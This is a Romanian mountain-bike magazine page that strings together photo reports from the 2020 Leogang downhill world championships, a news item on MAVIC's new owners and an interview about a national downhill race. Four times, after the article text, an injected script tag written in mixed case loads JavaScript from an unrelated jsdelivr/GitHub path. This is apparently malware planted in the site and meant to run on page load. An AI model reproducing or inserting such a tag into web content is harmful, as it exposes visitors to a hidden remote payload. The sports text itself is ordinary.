[article-image=&quot;46&quot; description=&quot;Aș fi vrut să am o poză mai fericită cu Loris, dar trebuie să vă mulțumiți cu asta. Cine ține cu el duminică? - foto: Mx&quot;]

[article-image=&quot;47&quot; description=&quot;Bunul prieten ceva mai titrat, de data asta pe doi, momentan. Ăsta știe să și întoarcă de ghidon, dar nu vă fie frică, și Meme știe și și el ar fi putut fi aici! - foto: Mx&quot;]

[article-image=&quot;48&quot; description=&quot;Troy e omul care tace și face, super constant, dar puțin hype pe capul lui. Locul 7 azi, poate mai bine duminică. - foto: Mx&quot;]

[article-image=&quot;49&quot; description=&quot;Așa se face treaba! Cu iutubăru&#039; vostru favorit. Nu, nu tu Sebi! - foto: Mx&quot;]

[article-image=&quot;50&quot; description=&quot;Lui Remus i se mai spune și ”liliacu&#039;” și în timpul liber îi place să meargă la biserică. Dovada. - foto: Mx&quot;]

[article-image=&quot;55&quot; description=&quot;Lotul Național de Hardcore. De data asta pe bune. - foto: Mx&quot;]

[article-image=&quot;52&quot; description=&quot;Finn Iles, un om fericit când se uită la cross-country U23. - foto: Mx&quot;]

[article-image=&quot;53&quot; description=&quot;Zece puncte pentru cine știe cine e aici! - foto: Mx&quot;]

&lt;p&gt;Azi n-avem Queen - Bicycle Race, &#039;tu-i maica mă-sii:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/Q1Khr45wT4o&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Mondiale Leogang 2020 - Calificări cu extaz, agonie și alte clișee (photo inside)

&lt;p&gt;Sper că am stabilit deja că Leogang nu mai e verișorul ăla care te vizita odată la juma&#039; de an la care flexai mușchiul și-ți permiteai orice cu el, că era cuminte și politicos. Nu-nu, verișorul a crescut, s-a emancipat și acum râde el de tine, iar tu înghiți în sec și nu spui nimic. Cam așa e atmosfera la Leogang zilele ăstea: râde lumea, râde, dar nu prea e râsul ei. E greu să-l mai crezi pe unul care-ți spune că ”îi place traseul”, deși nu trebuie niciodată neglijați masochiștii. Până la urmă, există o industrie întreagă care se ocupă de cătușe, piele, latex, lese, gag ball-uri și alte chestii din ăstea, deci sigur sunt și câțiva cărora le place traseul actual de la Leogang, cum sigur sunt vreo doi cărora le place și introducerea asta a mea ridicolă, pentru care orice profesor zdravăn la cap m-ar pocni, să-mi sară mucii. Da-da, știu, sunteți aici pentru poze. O să vină și ălea! Relaxați-vă și stați un pic jos, să stăm nițel de vorbă!&lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Așa arată în mod normal startul idilic de la Leogang, aici cu Jure Zabjek. - foto: Mx&quot;]

&lt;p&gt;Nu de alta, dar sunt câteva lucruri de spus. Spre exemplu că traseul ăla înspăimântător s-a uscat azi trepatat și că ai noștri sunt teferi, deși toți au dat cu ei de pământ, cum a făcut cam toată lumea. De fapt, sunt dispus să pariez că nu e nimeni care să nu fi căzut în ziua de antrenamente, că e lipsit de bun simț. Am tot povestit între noi despre ce am văzut toată ziua și am ajuns la niște concluzii. Cei mai rapizi pe traseu par să fie Laurie Greenland, Greg Minnaar, Danny Hart, Loic Bruni și poate Luca Shaw. Vă las mai jos manșa legată a lui Greg, ca să vedeți despre ce vorbim. Pe de altă parte, nu poți să-i desconsideri pe francezi, foamea lui Gwin e mare și oricând poate apărea un subestimat care să-ți dea toate proiecțiile peste cap. Ca de exemplu David Trummer. Sau Jack Moir. Sau Finn Iles, naiba știe... La fete zvonistica zice că Vali Höll e singura care a sărit la gapălăul de jos și cred asta pe cuvânt, dar se mai pot schimba multe până în finală, că sunt totuși Campionatele Mondiale și eu țin minte destul de bine cum acum 12 ani o fetiță de 13 ani din Anglia sărea pe la Morzine pe unde nu mulți băieți se aventurau. Fetița aia a crescut, se numește Tahnée Seagrave și echipa ei se numește ”FMD Racing”, fiindcă FMD înseamnă &lt;i&gt;”Follow My Dream”&lt;/i&gt;, iar visul ăla e să devină Campioană Mondială. Cu sau fără accidentarea lui Tahnée de la început de sezon, doar nu credeți că o săritură pe un traseu se poate pune de-a curmezișul unui vis din copilărie care a rămas neîmplinit. Nu când frac&#039;-tu e Kaos, prietenul tău e Kade și tu te-ai mutat în Țara Galilor ca să te dai cât mai des în Revolution Bike Park. Dar destul cu delirul cu Tahnée, că nu m-a luat avocat. Ideea e că nimic nu e sigur până nu se încheie, iar până acolo mai sunt niște pâini de mâncat. De exemplu, cu Tracey Hannah, Marine Cabirou, Myriam Nicole sau chiar Nina Hoffman.&lt;/p&gt;

&lt;p&gt;Gata, nu mai zic nimic, sunt cuminte, îmi iau pastilele și vă dau poze. Mulțumiri lui Akos pentru aparatul foto! &lt;i&gt;Enjoy!&lt;/i&gt;&lt;/p&gt;

[article-image=&quot;2&quot; description=&quot;Nu m-am putut decide la una dintre ăstea trei pentru start, deci vi le-am pus pe toate: Daprela, Harrison, Moir. - foto: Mx&quot;]

[article-image=&quot;3&quot; description=&quot;Shark Attack Jack e pe felie cu o echipă nouă, aleuia, doamne-ajută! - foto: Mx&quot;]

[article-image=&quot;4&quot; description=&quot;La început de sesiune, toată lumea era curioasă de primul &lt;i&gt;off-camber&lt;/i&gt;. - foto: Mx&quot;]

[article-image=&quot;5&quot; description=&quot;Finn Iles a dat azi un milion de ture. - foto: Mx&quot;]

[article-image=&quot;6&quot; description=&quot; ”Zertrümmern” înseamnă pe germană ”a sfărâma”. Lui David Trummer îi lipsește umlaut-ul, dar cu siguranță este unul care face ferfeniță traseul; dovada aici. - foto: Mx&quot;]

[article-image=&quot;7&quot; description=&quot;Greg Williamson, cu team nou și stil consacrat. - foto: Mx&quot;]

[article-image=&quot;8&quot; description=&quot;Băiatul ăsta cu 47 e Roger Vieira din Brazilia și s-a dat blană toată ziua, deci a meritat poza asta. Cinste lui! - foto: Mx&quot;]

[article-image=&quot;9&quot; description=&quot;Valentin Tenev e un vecin din Bulgaria și va pleca primul. - foto: Mx&quot;]

[article-image=&quot;10&quot; description=&quot;Trenulețul MS Mondraker a fost unul dintre cele mai faine lucruri de toată ziua. Laurie e feroce! - foto: Mx&quot;]

[article-image=&quot;11&quot; description=&quot;Sculptura obligatorie și oprirea obligatorie, înainte de sculptură. - foto: Mx&quot;]

[article-image=&quot;12&quot; description=&quot;Vă dați seama că Loic poate bifa 4 consecutive? - foto: Mx&quot;]

[article-image=&quot;13&quot; description=&quot;Benoit Coulanges nu poartă degeaba mâneca aia. Asta ar trebui să dea de gândit! - foto: Mx&quot;]

[article-image=&quot;14&quot; description=&quot;Good Guy Miti, jos pălăria! - foto: Mx&quot;]

[article-image=&quot;15&quot; description=&quot;Dacă aveți răbdare, uitați-vă atenți la secvența asta cu Minnaar, ca să vedeți cum zboară omul printr-un loc pe unde mai toți își prind urechile. La 38 de ani! - foto: Mx&quot;]

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/XrTuw-KJXVQ&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

[article-image=&quot;16&quot; description=&quot;Brook a scăpat-o în niște fotografi, dar nimeni nu e mai iubit pe traseu decât Brook, orice ar face! - foto: Mx&quot;]

[article-image=&quot;17&quot; description=&quot;Colegul bulgar a revenit, de data asta pe Motorway. - foto: Mx&quot;]

[article-image=&quot;18&quot; description=&quot;Clasice de Leogang. - foto: Mx&quot;]

[article-image=&quot;19&quot; description=&quot;Numărul 100 e Petr Folvarcny din Cehia, da-i-ar dumnezeu sănătate! - foto: Mx&quot;]

[article-image=&quot;20&quot; description=&quot;Hannes Lehmann avea gura ceva mai mare în parcare, decât pe traseu. De ce oare? - foto: Mx&quot;]

[article-image=&quot;21&quot; description=&quot;Andreas Kolb și Gamux-ul său au fost de neoprit toată ziulica. - foto: Mx&quot;]

[article-image=&quot;22&quot; description=&quot;Danny Hart levitează peste noul gap. - foto: Mx&quot;]

[article-image=&quot;23&quot; description=&quot;Gwin nu părea tare-n apele sale la intrarea în pădure. - foto: Mx&quot;]

[article-image=&quot;24&quot; description=&quot;Nu știu cine e băiatul ăsta din Cehia care a rupt aderența aici, dar îi mulțumesc sincer! - foto: Mx&quot;]

[article-image=&quot;25&quot; description=&quot;Cipri Mureșan și tainele umerilor. - foto: Mx&quot;]

[article-image=&quot;26&quot; description=&quot;Aceasta este o secvență cu Remus Bonta, căruia i se mai spune ”Trepiedul”! - foto: Mx&quot;]

[article-image=&quot;27&quot; description=&quot;Cu trepiedul la atac! - foto: Mx&quot;]

[article-image=&quot;28&quot; description=&quot;Aceeași zonă, dar cu Greg Williamson, de anul ăsta la Commencal 100\%. - foto: Mx&quot;]

[article-image=&quot;29&quot; description=&quot;Akos Istvandi, îngerul clujean care s-a pogorât asupra noastră, că de nu era el, nu știu la ce poze v-ați fi uitat acum, zău! - foto: Mx&quot;]

[article-image=&quot;30&quot; description=&quot;Mogulul de televiziune favorit al oricărui biciclist! - foto: Mx&quot;]

[article-image=&quot;31&quot; description=&quot;Buna tradiție franceză a spionatului de linii. - foto: Mx&quot;]

[article-image=&quot;32&quot; description=&quot;De data asta, o mocăniță franțuzească! - foto: Mx&quot;]

[article-image=&quot;33&quot; description=&quot;Bruni iară a scos un echipament nou pe interval! - foto: Mx&quot;]

[article-image=&quot;34&quot; description=&quot;Laurie Greenland, un om pe care-l poți crede lejer că-i place traseul. - foto: Mx&quot;]

[article-image=&quot;35&quot; description=&quot;Marv din ”Home Alone” și Miti din Râșnov. - foto: Mx&quot;]

[article-image=&quot;36&quot; description=&quot;Finn Iles - încă o tură și încă una și încă una... - foto: Mx&quot;]

[article-image=&quot;37&quot; description=&quot;Oare am băgat destule ture? Hm! - foto: Mx&quot;]

[article-image=&quot;38&quot; description=&quot;Bulldog-ul, cu motivație nouă și și bicicletă fresh! - foto: Mx&quot;]

[article-image=&quot;39&quot; description=&quot;Premiul de popularitate a fost adjudecat înainte să înceapă concursul. - foto: Mx&quot;]

[article-image=&quot;40&quot; description=&quot;Benoit Coulanges, rapid și subestimat! - foto: Mx&quot;]

[article-image=&quot;41&quot; description=&quot;Un șanț nou și Mick Hannah după ce sodomizează șanțul cel nou, hehe! - foto: Mx&quot;]

[article-image=&quot;42&quot; description=&quot;Secvență cu Greg, stupid de rapid înainte de gap-ul lui Greuceanu. - foto: Mx&quot;]

[article-image=&quot;51&quot; description=&quot;Minnaar pe stânga, Hart pe dreapta. - foto: Mx&quot;]

[article-image=&quot;44&quot; description=&quot;Simon Maurer din Germania, vrednic pentru așa un gap. - foto: Mx&quot;]

[article-image=&quot;45&quot; description=&quot;Akos, impecabil la gap-ul cel mare! - foto: Mx&quot;]

[article-image=&quot;46&quot; description=&quot;Johannes Fischbach, într-o rară ocazie fără costum de obez de la sponsori. - foto: Mx&quot;]

[article-image=&quot;47&quot; description=&quot;Aici Loris nu prea mai avea nici un chef. - foto: Mx&quot;]

[article-image=&quot;48&quot; description=&quot;Ședință tehnică între prieteni: Mick Hannah, Brook Macdonald, Loic Bruni și Camille Balanche. - foto: Mx&quot;]

[article-image=&quot;49&quot; description=&quot;Luana Chercheș se minuneză ce prostii au mai apărut pe Instagram. - foto: Mx&quot;]

[article-image=&quot;50&quot; description=&quot;Marea frăție dintre crosscountriști și downhilleri. Să trăiști. Roșiorule! - foto: Mx&quot;]

&lt;p&gt;Muzica ne-a adus plăceri, dar și dușmani:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/vmFAwzpLbGw&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Mondiale Leogang 2020 - Teama și speranța din antrenamente (photo inside)

&lt;p&gt;Uitați tot ce s-a spus și s-a scris despre Leogang vreodată. Pe bune. Mă refer la traseul de downhill, evident, și la clișeul care-l bântuie de ani buni de zile: că e prea ”bikeparksy”, prea puțin tehnic și alte lamentații din ăstea. Adevărul simplu e că Leogang, deși mai puțin tehnic decât alte trasee, a fost întotdeauna greu, fiindcă cerea să mergi tare pe el pe peste tot, iar celălalt adevăr simplu e că traseul a evoluat de la an la an și i s-au tot adăugat segmente tehnice, însă cumva tot nu a reușit să se scuture de notorietatea acumulată inițial. Bun venit în 2020, când dăm piept cu cel mai proaspăt adevăr simplu: Leogang a devenit tehnic. Atât de tehnic încât &lt;a href=&quot;https://www.youtube.com/watch?v=8u8TMw64rEk&amp;feature=emb\_title&amp;ab\_channel=VitalMTB&quot; target=&quot;\_blank&quot;&gt;pro-riderii par că-și cam rod unghiile&lt;/a&gt;, și nu din pricina ultimului &lt;i&gt;gap&lt;/i&gt;, care e cam de aici până pe &lt;a href=&quot;https://ro.wikipedia.org/wiki/Ganymede\_(satelit)&quot; target=&quot;\_blank&quot;&gt;Ganymede, ceva lună de-a lui Jupiter&lt;/a&gt;. Nu-nu, e de la altceva, &lt;i&gt;scroll and find out!&lt;/i&gt; Acesta este un raport despre &lt;i&gt;track walk&lt;/i&gt;-ul de ieri, dă Maică Precistă să mai prindem o zi pe-aici!&lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Leogang nu este întâmplător unul dintre cele mai populare bikepark-uri din lume, că oamenii știu foarte bine ce fac aici. - foto: Mx&quot;]

&lt;p&gt;În timp ce scriu șapoul ăsta, Luana Cherecheș și Paul Someșan sunt la primele lor ture de antrenamente, la fete Elite și la juniori, și sper să-și încheie sesiunea asta teferi. În afară de ei, mai sunt prezenți, pe partea de downhill, Remus Bonta, Akos Istvandi și Ciprian Mureșan, și mai avem lotul destul de serios de cross-country, unde sunt Eszter Bereczki, la fete Elite, Eduard Kubat și Răzvan Grec, la juniori, Gerhard Moldansky și Roberto Burța, la U23, și Ede Molnar, Lucian Logigan și &lt;a href=&quot;https://www.redbull.com/ro-ro/interviu-vlad-dascalu-versatilitatea-unui-campion-mondial&quot; target=&quot;\_blank&quot;&gt;Vlad Dascălu&lt;/a&gt;, la Elite. Doar ca să știți, să vă ridicați pălăriile în fața lui Logigan și a lui Molnar, că ei sunt furnicuțele care au tras alături de Dascălu, pentru ca România să poată alerga la XC la Olimpiadă! &lt;i&gt;Chapeau! &lt;/i&gt;Tudor Oprea face parte din staff-ul de la XC, dar a venit și pentru cursa de e-bike de ieri, unde a ieșit pe locul 20 - onorabil pentru un veteran ca el!&lt;/p&gt;

[article-image=&quot;2&quot; description=&quot;Lotul de XC, cu Sprînceană, Logigan, Oprea, Molnar, Kubat, Moldansky, Grec, Dascălu și Burța, plus Tudi în cursa de e-bike. - foto: Cătălin Sprînceană / Tudor Oprea&quot;]

&lt;p&gt;Dar să revenim la oile noastre! Despre faptul că la Leogang ni se pregătește o bucată nou-nouță știam. Practic, a fost eliminat ultimul &lt;i&gt;wallride&lt;/i&gt; de lemn, &lt;i&gt;step down&lt;/i&gt;-ul ce-i urma și pădurea de după, și traseul o ia acum la stânga, trece peste un gap și intră în pădure printr-o secțiune deschisă pe iarbă (că și așa ne tot plângem că nu mai sunt curbe din ăstea în World Cup), iar apoi... un mic iad pe pământ: o zonă deosebit de abruptă, atât de abruptă că nu sunt cuvinte în dicționar s-o descrie și nici imagini care să o ilustreze. Gândiți-vă la &lt;a href=&quot;https://www.dirtbike.ro/mag/val-di-sole-worlds-2016-track-walk-a-k-a-hai-ba-c-aveti-amortizoare&quot; target=&quot;\_blank&quot;&gt;Val di Sole&lt;/a&gt;, doar că pe pământ proaspăt și afânat, îmbibat în apă. Că doar toamna nu așteaptă să ne ajustăm noi calendarele la pandemie și, dacă ești în Alpi, îți asumi că s-ar putea ca vremea din Octombrie să fie UN PIC diferită față de cea din iunie. &lt;/p&gt;

[article-image=&quot;4&quot; description=&quot;Tot ce se vedea ieri din gondolă. - foto: Mx&quot;]

&lt;p&gt;Da, cam ăsta e contextul: COVID-ul a împins tot calendarul înspre toamnă și de aia suntem la Leogang în plină toamnă. Toată lumea e încântată că se întâmplă, toți își doresc ca și etapele ce urmează, de la Maribor și Lousa, să rămână în picioare, pentru a mai justifica ceva-ceva dintr-un sezon atipic, dar aceeași lume nu prea are rutină, curse în picioare, iar golul în stomac e dominant zilele ăstea, chiar dacă lumea se cam ferește să vorbească de asta. Când îi vezi pe pro-riderii din vârful ierarhiei că stau câte 15 minute pe un segment de 100 m, asta înseamnă ceva! Ah, da! Prognoza meteo pentru azi și mâine e fără ploaie, dar sâmbăta se anunță umedă, iar &lt;a href=&quot;https://weather.com/weather/tenday/l/Leogang+Salzburg+Austria?canonicalCityId=1ba18391b43955ca55b2098df89e53ee177d15ae655426c72d772ffe99632dee&quot; target=&quot;\_blank&quot;&gt;duminică s-ar putea să căutăm schiuri și snowboard-uri&lt;/a&gt;. &lt;/p&gt;

[article-image=&quot;5&quot; description=&quot;&lt;i&gt;Voulez-vous ciormol avec moi?&lt;/i&gt; - foto: Mx&quot;]

&lt;p&gt;Cât despre Leogang, jos pălăria: oamenii au ascultat ce li s-a reproșat, au ajustat și au implementat. Așa se face când ai unul dintre cele mai populare bikepark-uri din Europa și un brand pe care vrei să-l protejezi și să-l promovezi! Și dacă tot vorbim de asta, i-aș lua frumușel de mână pe toți primarii de stațiuni montane din România, i-aș sui la Leogang în vârf de munte și i-aș plimba prin sat, să le iasă un pic pe nas tiribombele și ce alte manele înțeleg ei prin ”turism”. În fine, gata cu hatereala, fotografii mai jos:&lt;/p&gt;

&lt;p&gt;&lt;i&gt;DISCLAIMER: setul ăsta de poze e cam pilaf, deci să nu vă așteptați la cine știe ce. Oricum nu sunt cine știe fotograf, dar aici sunt cu un aparat de împrumut și ieri seară, după ce am descărcat, am descoperit că am o eroare la autofocus, că mi se aburise lentila de la ploaie și că cele mai multe imagini sunt neclare. Am tras un pic de ele, nu am rezolvat cine știe ce. Sorry. Articolul ăsta trebuie să existe, ca să vă faceți și voi o mică idee despre ce avem aici.&lt;/i&gt;&lt;/p&gt;

[article-image=&quot;3&quot; description=&quot;Akos are un nou sponsor, perfect pentru acest sezon! - foto: Mx&quot;]

[article-image=&quot;6&quot; description=&quot;E drăguț, așaaaaaa, la Leogang, când ajungi în vârful dealului... - foto: Mx&quot;]

[article-image=&quot;7&quot; description=&quot;E foarte drăguț și startul ăsta clasic în &lt;i&gt;off-camber&lt;/i&gt;, cu un fundal cum n-o să mai vezi pe altundeva! - foto: Mx&quot;]

[article-image=&quot;8&quot; description=&quot;Țestoasă surprinsă în mediul ei natural și un mediu mai puțin natural pentru buna dispoziție și gânduri liniștite. - foto: Mx&quot;]

[article-image=&quot;9&quot; description=&quot;Aici e încă bine. Pe bune. - foto: Mx&quot;]

[article-image=&quot;10&quot; description=&quot;Primul tunel și unul dintre zecile de mini &lt;i&gt;gap&lt;/i&gt;-uri, care sunt mai mari decât cele mai multe sărituri serioase de pe traseele noastre. - foto: Mx&quot;]

[article-image=&quot;11&quot; description=&quot;Paul Someșan și un rock garden care i-a făcut loc unei linii mai tehnice. - foto: Mx&quot;]

[article-image=&quot;12&quot; description=&quot;Și aici Sindicatul a stat și s-a uitat. Și s-a uitat. Și s-a uitat. Și s-a uitat... Fir-ar el să fie Sindicat! - foto: Mx&quot;]

[article-image=&quot;13&quot; description=&quot;Poate nu știți, dar la Leogang fiecare câștigător este onorat cu o sculptură cu numele său în secțiunea asta, unde mai demult a fost pădure. - foto: Mx&quot;]

[article-image=&quot;14&quot; description=&quot;Greg Minnaar are propria sculptură ceva mai sus, dar aici e altceva de onorat... #LongLiveChainsaw - foto: Mx&quot;]

[article-image=&quot;15&quot; description=&quot;Au trecut opt ani și imaginile ăstea au o încărcătură emoțională aparte. Greg Minnar și Stevie Smith: rideri, rivali, prieteni, Oameni. Gee completează podiumul, pe doi. Să poți vedea chestia asta pe viu e un privilegiu. - foto: Mx&quot;]

[article-image=&quot;16&quot; description=&quot;Autostrada din miezul traseului, imagine pitorească. Ca să poți sări gap-urile, trebuie să vii cu milionul la oră și la ce condiții avem acum, nu prea poți să-i dai milionul la oră. O să fie palpitant și aici! - foto: Mx&quot;]

[article-image=&quot;17&quot; description=&quot;Rădăcini, linii, semne de întrebare și ceva frustrare, cu Angelo în mijlocul lucrurilor. - foto: Mx&quot;]

[article-image=&quot;18&quot; description=&quot;Începutul și sfârșitul Motorway-ului, cu Akos în rol de Luminița. - foto: Mx&quot;]

[article-image=&quot;19&quot; description=&quot;Luana Cherecheș a.k.a. Turtle e Șefa La Buna Dispoziție™, doar că nici ei nu prea-i venea să râdă ieri. - foto: Mx&quot;]

[article-image=&quot;20&quot; description=&quot;Aici începe bucata nouă, cu două viraje deschise pe iarbă. În caz că vi se pare lejer, vă ajută poza a doua. - foto: Mx&quot;]

[article-image=&quot;21&quot; description=&quot;Intrarea în pădure arată foarte fain, cu pământ afânat, mușchi și ferigi, dar... - foto: Mx&quot;]

[article-image=&quot;22&quot; description=&quot;Greg Minnaar și noul lui mecanic au stat ceva timp și pe secțiunea asta. Picioarele lor și umbrela folosită pe post de toiag spun și ele ceva despre traseu. - foto: Mx&quot;]

[article-image=&quot;23&quot; description=&quot;În zona asta se lucra încă de zor. Sârma de pe lemnăraie era proaspătă și tocmai se construiau niște balustrade. - foto: Mx&quot;]

[article-image=&quot;24&quot; description=&quot;Ați auzit și o să mai auziți ”în imagini nu se vede cât de abrupt e”. Pentru că e adevărat. Incredibil de adevărat. - foto: Mx&quot;]

[article-image=&quot;25&quot; description=&quot;Băieții noștri tocmai demonstrează matematic teoria din fraza anterioară: e abrupt, al naibii de abrupt! - foto: Mx&quot;]

[article-image=&quot;26&quot; description=&quot;...parcă un pic mai în cap decât prima pădure de la Tare Ca Piatra! Hai, pwp Delia! ;)  - foto: Mx&quot;]

[article-image=&quot;27&quot; description=&quot;Și dacă înclinația nu era de ajuns, aderența e la nivel de ”gel de duș pe gresia udă din baie”, iar duminică se anunță ninsoare! Grozav, fix ce ne doream! - foto: Mx&quot;]

[article-image=&quot;28&quot; description=&quot;Ăsta e noul jump, despre care s-a tot scris și s-a povestit. Are plasă sub el (!!!) și s-ar putea ca milionul la oră de pe Motorway să nu fie de ajuns aici. Bine, dacă ai de unde să aduni milionul... - foto: Mx&quot;]

[article-image=&quot;29&quot; description=&quot;Mă gândeam că duma ”fără frică” nu prea merită folosită lângă numele lui Paulică, într-o porțiune unde o cantă înseamnă direct ”loc luminat, loc cu verdeață, loc de odihnă”. - foto: Mx&quot;]

[article-image=&quot;30&quot; description=&quot;Întrerupem trasmisia noastră pentru cursa de e-bike la feminin. Revenim în scurt timp! - foto: Mx&quot;]

[article-image=&quot;31&quot; description=&quot;Priveliște idilică asupra Leogang-ului, cu un pumptrack cum orice biciclist își dorește. - foto: Mx&quot;]

[article-image=&quot;32&quot; description=&quot;Clișeu cu ceața din munți și linia de finish. - foto: Mx&quot;]

[article-image=&quot;33&quot; description=&quot;Fiindcă nu mai am nimic de spus, vă dau o cifră random de la Mondialele din 2012: pe atunci două milioane de Euro pentru organizarea competițiilor au venit doar de la land-ul Salzburg, de care ține Leogang. Atât. - foto: Mx&quot;]

&lt;p&gt;Avem și muzică adecvată: &lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/yqVUPp9relw&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

&lt;p&gt;Degete încrucișate!
Mx&lt;/p&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Mondiale Leogang 2020 - Track walk printr-un traseu ”de bikepark” și alte minciuni

[article-image=&quot;1&quot;]
Renumitul brand european de roți și jante, MAVIC, deținător a peste 90\% dintre recordurile mondiale de pe velodrom, devine mai puternic și mai coerent ca oricând.

Odată cu noii proprietari, familia Bourrelier (deținătoare Bricorama până de curând), brandul MAVIC promite să-și recapete renumele istoric pe piața ciclismului internațional!

Brandul MAVIC este lider în segmentul roților și jantelor din aluminiu și carbon din Europa. Grupul este specializat în proiectarea, producția și distribuția echipamentelor și accesoriilor pentru biciclete. De asemenea, a fost partener mai bine de 40 de ani în Turul Franței, unde „mașinile galbene” MAVIC ofereau asistență tehnică rutierilor.

Grupul Bourrelier are o viziune antreprenorială pe termen lung și este o afacere de familie listată pe bursă (Euronext Growth) din 1996. Fondatorul grupului, Jean-Claude Bourrelier și-a început aventura antreprenorială în 1975 și a construit un lider de piață, Bricorama. În 2017, a vândut activitățile de bricolaj în Franța și Spania și și-a schimbat numele în Bourrelier Group SA. Astăzi, cu o cifră de afaceri de 223 milioane de euro, grupul continuă să dezvolte activitățile de bricolaj în Belgia și Olanda sub brandurile GAMMA și KARWEI cu peste 72 de puncte de vânzare.

Fiind un concurent activ  în ciclismul montan și împărtășind pasiunea pentru sport, Yoann Bourrelier, unul dintre acționari, cunoaște bine piața de ciclism, în trecut jucând rolul de pionier în distribuția exclusivă a bicicletelor asistate electric (VAE).

Noua conducere vine cu un proiect strategic în care &quot;Obiectivul este clar: să permită MAVIC să revină la creștere și performanță. MAVIC trebuie să redobândească dimensiunea unei întreprinderi familiale cu o conducere agilă, cu un proces de decizie și o autonomie care a lipsit în ultimii ani, și cu o reorientare profesională care va determina succesul mărcii &quot;, adaugă Jean-Michel Bourrelier, CEO al Bourrelier Group.

Pilonii pe care se bazează proiectul sunt următorii:
- concentrarea pe produsele de succes MAVIC pentru utilizatorii care își doresc performanță: roți, anvelope, butuci. Pentru produsele softgoods (îmbrăcăminte, încălțăminte, căști) se va trece la simplificarea gamei;
- concentrare pe cercetare, dezvoltare și inovare;
- servicii impecabile pentru clienți;
- modernizarea tehnologiei de producție;
- o politică proactivă de marketing și comunicare în jurul evenimentelor emblematice;
- mobilizarea echipelor MAVIC în jurul unei viziuni pe termen lung;
- o nouă guvernare flexibilă, cu o politică rapidă de luare a deciziilor, bazată pe Yoann și Jean-Michel Bourrelier și un manager general cu puternică competență;
- revenirea la autonomia MAVIC cu sprijnul fostului proprietar, Amer Sports (grupul Salomon)<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Grupul Bourrelier câștigă MAVIC în fața eroului din Turul Franței, Bernard Hinault!

&lt;i&gt;Pfhua! Vouă nu vă era dor de curse? E o întrebare retorică, desigur. Răspunsul îl știm cu toții, că ne-am săturat să tot frecăm reluările din anii trecuți din World Cup, filmele vechi și mai știu eu ce. Avem Campionat Național de Downhill la &lt;a href=&quot;https://www.dirtbike.ro/mag/un-nou-traseu-rasare-la-harghita-madaras-hai-sa-te-dai&quot; target=&quot;\_blank&quot;&gt;Harghita Mădăraș&lt;/a&gt; și de asta ați dat click pe articolul ăsta. Detalii mai jos, cu Danika, dar și cu Geza. Citiți, informați-vă, puneți bița la punct și ne vedem la Mădăraș! &lt;/i&gt;

[article-image=&quot;1&quot;]

&lt;b&gt; Salut Danika! Avem anul acesta din nou Campionat Național de Downhill la Harghita Mădăraș, un lucru bun, ținând cont de câte evenimente s-au anulat din cauza pandemiei. Cum de v-ați decis să-l organizați, totuși? &lt;/b&gt;

Salut. Ne bucurăm că avem din nou ocazia să organizăm Campionatul Național de Downhill la noi la Harghita Mădăraș. Din păcate, multe evenimente s-au anulat și deoarece mai ales evenimentele de downhill nici nu au fost anunțate, am luat decizia să organizăm acest concurs, cu speranța că vom avea mai mulți participanți decât la &lt;a href=&quot;https://www.dirtbike.ro/mag/campionatul-national-de-downhill-2019-harghita-madaras-ia-cu-pita&quot; target=&quot;\_blank&quot;&gt;ediția precedentă&lt;/a&gt;. Vreau să mentionez că inițiativa a venit de la Federația Română de Ciclism, ceea ce este un semn bun.

[article-image=&quot;2&quot; description=&quot;Peisaj clasic de Mădăraș. - foto: Mx&quot;]
[article-image=&quot;3&quot; description=&quot;Pietrele ăstea foarte probabil se vor fi rărit. - foto: Mx&quot;]

&lt;b&gt;Ce trebuie să știm despre eveniment? Avem măsuri speciale de protecție?&lt;/b&gt;

Încercăm să menținem evenimentul și totodată să-l facem mai atractiv pentru toată lumea. Bineînțeles, suntem foarte atenți la măsurile speciale impuse de organe în ceea ce privește pandemia. În principiu, vom supliment mașinile de transport, ca să nu se aglomereze și să menținem distanța fizică. Din păcate, sunt șanse ca transportul să fie ceva mai greoi și să fim nevoiți să așteptăm un pic mai mult pentru transport. Dar cred că am devenit cu toții un pic mai răbădători în pandemie. În timpul transportului va fi obligatorie purtarea măștii. Sperăm totuși ca până atunci autoritățile să mai relaxeze din restricții, mai ales că în Harghita sunt relativ puține cazuri.

[article-image=&quot;4&quot; description=&quot;Eternul Sorin Părău pe final de traseu. - foto: Akos Istvandi / Royal Art&quot;]
[article-image=&quot;5&quot; description=&quot;Shuttle clasic de Mădăraș. - foto: Akos Istvandi / Royal Art&quot;]

&lt;b&gt;Este ceva schimbat la traseu față de anul trecut?&lt;/b&gt;

Mari schimbari nu pot spune că s-au facut, dar am încercat să-l curățăm cât de mult am putut de bolovanii care dădeau bătaie mare de cap în unele locuri și să fluidizăm traseul cât mai bine. În rest, &lt;a href=&quot;https://www.dirtbike.ro/mag/campionatul-national-de-downhill-2019-harghita-madaras-plimbare-prin-abis&quot; target=&quot;\_blank&quot;&gt;a rămas așa cum îl știm&lt;/a&gt;, destul de solicitant.

[article-image=&quot;6&quot; description=&quot;Rădăcinile sunt parte dintr-un traseu de downhill. - foto: Mx&quot;]
[article-image=&quot;7&quot; description=&quot;Alege linia! Asta are, asta n-are, iac-o p-aia marcatoare! - foto: Mx&quot;]

